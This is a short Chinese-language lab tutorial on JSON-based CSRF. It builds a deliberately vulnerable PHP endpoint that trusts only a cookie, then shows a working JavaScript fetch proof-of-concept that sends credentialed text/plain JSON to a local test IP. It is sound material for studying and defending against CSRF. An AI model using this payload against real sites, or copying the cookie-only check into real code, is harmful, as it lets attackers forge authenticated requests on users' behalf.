漏洞环境

存在一个只检测用户cookie的接口,登录成功后将解析用户传入的json语句

1
2
3
4
5
6
7
8
9
<?php
//读取请求
$json = file_get_contents("php://input");
if (isset($_COOKIE['name']) and $_COOKIE['name']=="admin"){ //检测登录
//解析json、打印结果
var_dump(json_decode($json));
}else{
echo "登录失败";
}

目标URL为http://192.168.56.1/test.php

创建一个set.php用于设置用户cookie信息,模拟用户登录获取cookie的过程

1
2
3
4
<?php
//设置用户cookie,1小时后过期
setcookie("name","admin",time()+3600);

访问http://192.168.56.1/set.php后成功设置cookie

BP构造 CSRF payload

如果直接通过burpsuite的csrf进行构造payload时,恶意HTML使用的是form表单提交

在存在用户cookie的浏览器中点击提交表单,模拟用户点击恶意链接或HTML

抓包将会发现报文的格式是有问题的

放包之后,虽然登录验证通过了,但是没法解析json数据

JavaScript方式提交JSON

测试过程中发现有些浏览器无法成功利用,跳转到另一个链接时cookie会被清空

测试使用的浏览器为搜狗浏览器11.0.1.34700

1
2
3
4
5
6
7
8
9
10
<html>
<title>JSON CSRF POC</title>
<script>
function JSON_CSRF() {
fetch('http://192.168.56.1/test.php', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"a":1,"b":2,"c":35}'});
}
</script>

<button onclick="JSON_CSRF()">submit request</button>
</html>

成功返回json解析的对象信息